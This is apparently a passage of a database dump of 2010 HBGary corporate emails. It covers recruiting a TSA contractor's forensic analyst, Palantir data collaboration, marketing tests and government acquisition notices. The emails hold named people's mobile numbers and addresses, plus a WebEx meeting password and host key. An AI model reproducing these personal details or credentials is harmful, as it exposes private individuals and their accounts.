\r\n\r\nMGS\r\n\r\nOn 8/13/2010 8:45 AM, Aaron Barr wrote:\r\n\r\n  I am going to hire him around 105 and yes . :)\r\n  \r\nSent from my iPhone\r\n  \r\nOn Aug 13, 2010, at 11:29 AM, &quot;Michael G. Spohn&quot; &lt;mike@hbgary.com&gt;\r\nwrote:\r\n  \r\n  \r\n  \r\n    Yes - I am sure I can use him. \r\nDo you know how expensive he will be to hire?\r\nIs he willing to travel?\r\n    \r\n    \r\nMGS\r\n    \r\nOn 8/13/2010 6:41 AM, Aaron Barr wrote:\r\n    If\r\nthis guy was any good could\r\nyou use him on IR engagements?\r\n      \r\n      \r\n      Here is my goal. ï¿½He is currently the lead forensics analyst\r\nat\r\nTSA, the $190M contract we are going after. ï¿½We want to hire this guy\r\naway if he is any good, the customer loves him. ï¿½If you can use him\r\nshort term for some IR, and we can use him to do some of the cyber\r\naccelerator work for OSD/ATL we can cover him and take him away from\r\nthe incumbent.\r\n      \r\n      \r\n      Just trying to use some strategery.\r\n      \r\n      \r\n      Thanks,\r\n      Aaron\r\n      \r\n      Begin forwarded message:\r\n      \r\n      \r\n        From:\r\n\r\n        John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n\r\n        \r\n        Date:\r\n\r\n        August 13, 2010\r\n8:48:04 AM EDT\r\n        \r\n        To:\r\n\r\n        &quot;&#39;aaron@hbgary.com&#39;&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n        \r\n        \r\n        \r\n        \r\n        \r\n        ï¿½\r\n        ï¿½\r\n        ï¿½\r\n        -John\r\n        ï¿½\r\n        John Fanguy\r\n        VP\r\n        Digital\r\nManagement, Inc.\r\n        &quot;Leading\r\nGovernment\r\nTransformation&quot;\r\n        GSA\r\n8(a)\r\nSTARS - GSA IT 70 - GSA MOBIS\r\n        --------------------------------------------------\r\n\r\n        6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n        301-346-6749\r\ncell\r\n        240-223-4800ï¿½main\r\n\r\n        \r\n        \r\n        ï¿½\r\n        \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n\r\n      \r\n      \r\n      \r\n    \r\n    \r\n    -- \r\n    Michael\r\nG. Spohn | Director ï¿½ Security Services | HBGary, Inc.\r\n    Office\r\n916-459-4727\r\nx124\r\n|\r\nMobile 949-370-7769 | Fax 916-481-1460\r\n    mike@hbgary.com\r\n| www.hbgary.com\r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    &lt;mike.vcf&gt;\r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director ï¿½ Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&lt;mike.vcf&gt;\r\n',12050,'aaron_hbgary_com/12050.html'),(10255,'2010-08-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007984.M733571P14101Q5110.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir','Well for one we need a plan with time commitments on our end.\r\n\r\nGreg\r\n\r\nOn Thursday, August 12, 2010, Aaron Barr  wrote:\r\n> Greg,\r\n>\r\n> Palantir would like to work more with us in developing some interesting models around some of the threat/fingerprint data.  Aaron Zollman has got some time over the next few months to dedicate to this.  How do you want to be involved in this?  Aaron is also going to be out in San Jose/Sacramento area next week.\r\n>\r\n> Aaron\r\n>\r\n>\r\n',900,'aaron_hbgary_com/900.html'),(10256,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007984.M921865P14101Q5111.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Testing Mobile Marketing','Penny:\r\n\r\nTXT \"GFIRST\" to 90210 from your mobile phone.\r\n\r\nI\'m testing some mobile marketing for the GFIRST conference.  I will\r\nhave a sign that says:\r\n\r\nText \"GFIRST\" to 90210 to win a\r\nfree Social Media Online Training Course\r\nand receive updates from HBGary.\r\n\r\nMax 1 message per month.\r\nText STOP to opt-out\r\n\r\nAnyone who OPTs-in will be collected in my database (their mobile\r\nnumber) and we can send them text messages once per month. And call\r\nthem if we so desire - to direct market.\r\n\r\nInterested in offering a free Responder Field Edition as part of the experiment?\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7682,'aaron_hbgary_com/7682.html'),(10257,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007985.M117362P14101Q5112.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Palantir','I thought first we could give them the fingerprint data and let them start to build some models and transforms around that.  They are willing to do a lot of the work.\r\n\r\nWe have a webex with them at 12:30 today to discuss some of the new things they have built into the tool and what we would like to accomplish.  We are completely taxed for the next two weeks with Proposals, GFIRST, and LANL so nothing would start until beginning of Sept. likely.\r\n\r\nAaron\r\nOn Aug 13, 2010, at 12:01 PM, Greg Hoglund wrote:\r\n\r\n> Well for one we need a plan with time commitments on our end.\r\n> \r\n> Greg\r\n> \r\n> On Thursday, August 12, 2010, Aaron Barr  wrote:\r\n>> Greg,\r\n>> \r\n>> Palantir would like to work more with us in developing some interesting models around some of the threat/fingerprint data.  Aaron Zollman has got some time over the next few months to dedicate to this.  How do you want to be involved in this?  Aaron is also going to be out in San Jose/Sacramento area next week.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n\r\n',4122,'aaron_hbgary_com/4122.html'),(10258,'2010-08-13','messenger@webex.com','/aaron@hbgary.com/new/1297007985.M357434P14101Q5113.eml','aaron@hbgary.com','Meeting reminder: Palantir Fingerprint Integration',' You are scheduled to host this online meeting.   Topic: Palantir Fingerprint Integration  Date: Friday, August 13, 2010  Time: 12:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 577 055 801  Meeting Password: palantir  Host Key: 539017   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=153311462&UID=488445912&PW=NZjg0YzIyMjk2&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=153311462&tollFree=0   Access code:577 055 801  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation. ',6499,'aaron_hbgary_com/6499.html'),(10259,'2010-08-13','\"Carma Beedle\" <carmab@gmail.com>','/aaron@hbgary.com/new/1297007985.M565782P14101Q5114.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Carma Beedle has indicated you are a Colleague at HB Gary:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Carma Beedle\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Carma Beedle\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH CARMA BEEDLE BE A GOOD IDEA?\r\n  Have a question? Carma Beedle\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Carma Beedle and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',1787,'aaron_hbgary_com/1787.html'),(10260,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007985.M827795P14101Q5115.eml','\"Mark Trynor\" <mark@hbgary.com>','u coming on line','Aaron',11633,'aaron_hbgary_com/11633.html'),(10261,'2010-08-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007986.M371938P14101Q5117.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Quotes','\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 6:49 AM\r\nTo: Bob Slapnik; Maria Lucas\r\nCc: Penny Leavy\r\nSubject: Quotes\r\n\r\nDo we have any good quotes from customer on how the software has been able\r\nto reduce workload, etc.\r\n\r\nAaron\r\n',4765,'aaron_hbgary_com/4765.html'),(10262,'2010-08-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007986.M577056P14101Q5118.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: What do you think of this recommendation?  Too long?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSee below\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shane Shook\r\n[mailto:sdshook@yahoo.com] \r\nSent: Thursday, April 29, 2010 8:28 PM\r\nTo: Penny Hoglund\r\nSubject: What do you think of this recommendation? Too long?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Penny - didn\'t hear back about today so I figured you guys\r\nwere slammed.&nbsp; I did talk with Aaron today and offered to help them out as\r\nan affiliate (sub-contractor type of relationship).&nbsp; I\'m in Portland and\r\nSeattle the first part of next week but you can reach me by phone whenever.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn another note - you asked for a plug from me.&nbsp; For what\r\nit\'s worth see what you think of this:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have done a lot of malware and security incident analysis for\r\nclients around the world.&nbsp; I am deeply impressed with the comprehensive\r\ncapabilities of HBGary\'s Responder product series, including FDPro and REcon,\r\nwhich offer some of the most sophisticated (yet usable) tools for critical\r\ntechnical analysis.&nbsp; These tools should be a &quot;must have&quot; for\r\nincident responders.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdditionally, HBGary\'s Digital DNA platform\r\nprovides&nbsp;unique&nbsp;yet practical capabilities to meet the demands of\r\nindustry and regulators alike through advanced threat detection.&nbsp; DDNA is\r\nan &quot;Early Warning and Response&quot; system for business that should be\r\npart of every CIO/CISO\'s&nbsp;dashboard.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe ability to detect and understand the specific threats posed\r\nby malware is the first step in understanding the scope and potential impact of\r\na breach.&nbsp; The ability to&nbsp;communicate the importance of those threats\r\nto the business is the second step.&nbsp; These&nbsp;capabilities&nbsp;have\r\nbeen&nbsp;the &quot;missing link&quot; in enterprise&nbsp;security products to\r\ndate; however Digital DNA provides literal and specific information in an\r\nunderstandable format, with tools to analyze and respond to information security\r\nthreats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary products actually\r\nfeature capabilities to detect, identify, and determine the scope of security\r\nincidents - and tools to help&nbsp;isolate, investigate, and protect business\r\ninformation and systems.&nbsp; In my experience, most other products just claim\r\nthese capabilities.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nShane D. Shook, PhD\r\n\r\n\r\n\r\n\r\n\r\nConsultant and Analyst\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15749,'aaron_hbgary_com/15749.html'),(10263,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007986.M67672P14101Q5116.eml','\"Mark Trynor\" <mark@hbgary.com>','Fwd: Meeting reminder: Palantir Fingerprint Integration','Begin forwarded message:From: messenger@webex.comDate: August 13, 2010 12:16:12 PM EDTTo: aaron@hbgary.comSubject: Meeting reminder: Palantir Fingerprint IntegrationReply-To: aaron@hbgary.com You are scheduled to host this online meeting.   Topic: Palantir Fingerprint Integration  Date: Friday, August 13, 2010  Time: 12:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 577 055 801  Meeting Password: palantir  Host Key: 539017   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=153311462&amp;UID=488445912&amp;PW=NZjg0YzIyMjk2&amp;RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=153311462&amp;tollFree=0   Access code:577 055 801  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation. ',16203,'aaron_hbgary_com/16203.html'),(10264,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007989.M46746P14101Q5119.eml','\"Aaron Barr\" <aaron@hbgary.com>','1.3.3 Information Assurance Technical Services kjk','',15263,'aaron_hbgary_com/15263.html'),(10265,'2010-08-13','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007989.M490518P14101Q5120.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Extraordinary Line-up of Speakers to Appear at Gov 2.0 Summit, September 7-8','Aaron, Ted,Might be worth attending this to link up with a more forward leaning government and industry group.Mike---------- Forwarded message ----------From: Tim O&#39;Reilly, Dick O&#39;Neill and the Gov 2.0 Summit Team &lt;gov2summit@email.techwebevents-sf.com&gt;\r\nDate: Fri, Aug 13, 2010 at 10:30 AMSubject: Extraordinary Line-up of Speakers to Appear at Gov 2.0 Summit, September 7-8To: mbt.rbtoth@gmail.com\r\n          \r\n     \r\nAnnouncing New Speakers at Gov 2.0 Summit.  Join this amazing group.  Register Now\r\n  View this email online if it does not display properly. Don&#39;t miss Gov 2.0 Summit news and updates — please add gov2summit@email.techwebevents-sf.com to your contact list or address book.\r\nShare:    Facebook   LinkedIn   Twitter    \r\n       \r\n      \r\n    \r\n  Announcing New Speakers at \r\n Gov 2.0 Summit, September 7-8  in Washington, D.C. \r\n       \r\n    See All Speakers Joining Us at Gov 2.0 Summit »  \r\n    \r\n Mike Alfred \r\n Co-Founder and CEO, BrightScope  \r\n Osama Bedier\r\n Vice President of Platform, Mobile and New Ventures, PayPal  \r\n Mark Bolgiano\r\n CEO, XBRL US  \r\n Debra Bowen\r\n Secretary of State: State of California  \r\n Jack Dangermond\r\n Founder and President, ESRI     \r\n Frank DiGiammarino\r\n Deputy Coordinator for Recovery Implementation, White House  \r\n Stacy Donohue\r\n Director, Investments, Omidyar Network  \r\n Greg Elin \r\n Assisting Managing Director New Media, Federal Communications Commission  \r\n Brad Feld\r\n Co-Creator, Startup Visa  \r\n Sean Greene\r\n Associate Administrator for Investment, and Special Adviser for Innovation, U.S. Small Business Administration     \r\n Marci Harris\r\n CEO and Founder, TheVoxPop  \r\n Peter Ho \r\n Permanent Secretary (Foreign Affairs), Singapore  \r\n Clay Johnson\r\n Open Government Advocate, InfoVegan.com  \r\n Thomas Kalil\r\n Deputy Director for Policy , White House Office of Science and Technology Policy  \r\n   Peter Levin\r\n Senior Advisor to the Secretary and CTO, Department of Veterans Affairs      \r\n   David McQueeney\r\n Vice President, Technology and Strategy &amp; CTO, IBM Federal  \r\n   Ellen Miller\r\n Co-Founder and Executive Director, Sunlight Foundation  \r\n   Craig Newmark\r\n Founder and Customer Service Rep, Craigslist  \r\n   Ory Okolloh\r\n Co-Founder and Executive Director, Ushahdi  \r\n   Jennifer Pahlka\r\n Founder and Executive Director, Code for America      \r\n   Jules Polonetsky\r\n Co-Chairman and Director, Future of Privacy Forum  \r\n   Dan Reed\r\n Corporate Vice President for Technology Strategy and Policy and Extreme Computing, Microsoft  \r\n   Donna Roy\r\n Executive Director, National Information Exchange Model, Department of Homeland Security  \r\nJoin This Amazing Group! \r\n              \r\nSEPTEMBER 7-8, 2010 | GRAND HYATT HOTEL | WASHINGTON, D.C.       Gov 2.0 Summit Program Is Now Live!  Be Part Of The Discussion\r\n Our program schedule is now available online! This year, our focus is on opening the door to innovation — learning about the latest technology and its application, and breaking down the barriers to its adoption. Some of the issues you can expect to hear about at Gov 2.0 Summit are:  \r\n The Power of Platforms\r\n Fueling the Innovation Economy\r\n Identity, Privacy, and Informed Consent in the Age of the Internet\r\n Cost Savings\r\n Empowering Citizens\r\n Improving Government Effectiveness\r\n           \r\nEmail Sponsor\r\n     Together we will build what comes next as these powerful ideas converge with the passion of people who can make a difference.  Register Now &amp; Reserve Your Seat!\r\n    Book Your Hotel &amp; Transportation Take advantage now of the negotiated rates for Grand Hyatt Hotel Washington and airlines. \r\n    Sincerely,  Tim O&#39;Reilly, Dick O&#39;Neill and the Gov 2.0 Summit Team       \r\n     \r\n     \r\n   \r\n Co-produced by O&#39;Reilly Media, Inc. and UBM TechWeb.    © 2010 O&#39;Reilly Media, Inc. 1005 Gravenstein Highway North, Sebastopol, CA 95473  (707) 827-7000 / (800) 998-9938.\r\n   © UBM TechWeb 2010. All Rights Reserved. Gov 2.0 Summit c/o UBM TechWeb,  600 Harrison St., 6th Floor, San Francisco, CA 94107.   Gov 2.0 Summit respects your privacy. This message is sent to qualified recipients who recently attended, or requested or downloaded information about either Gov 2.0 Events or a related United Business Media or O&#39;Reilly event or publication or requested information about our events, publications and products.\r\n  Unsubscribe from Gov 2.0 Summit.\r\n  This email was sent to mbt.rbtoth@gmail.com. If this email was forwarded to you and you would like to begin receiving a copy of your own, please visit—our site—to receive Gov 2.0 Events news and special offers directly. Please do not reply to this email as replies are not being read.\r\n  Gov 2.0 Events Privacy Policy.\r\n       \r\n       \r\n\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',12553,'aaron_hbgary_com/12553.html'),(10266,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007989.M699673P14101Q5121.eml','federal@hbgary.com','NGA Director\'s Message to Industry Partners','The Director of the National Geospatial-Intelligence Agency has posted a Letter to Industry Partners on the NGA Announcements page of the IC ARC.\r\n\r\nARC Webmaster\r\n	 --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6665,'aaron_hbgary_com/6665.html'),(10267,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007989.M912328P14101Q5122.eml','federal@hbgary.com','COMM / Excursion Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Excursion effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  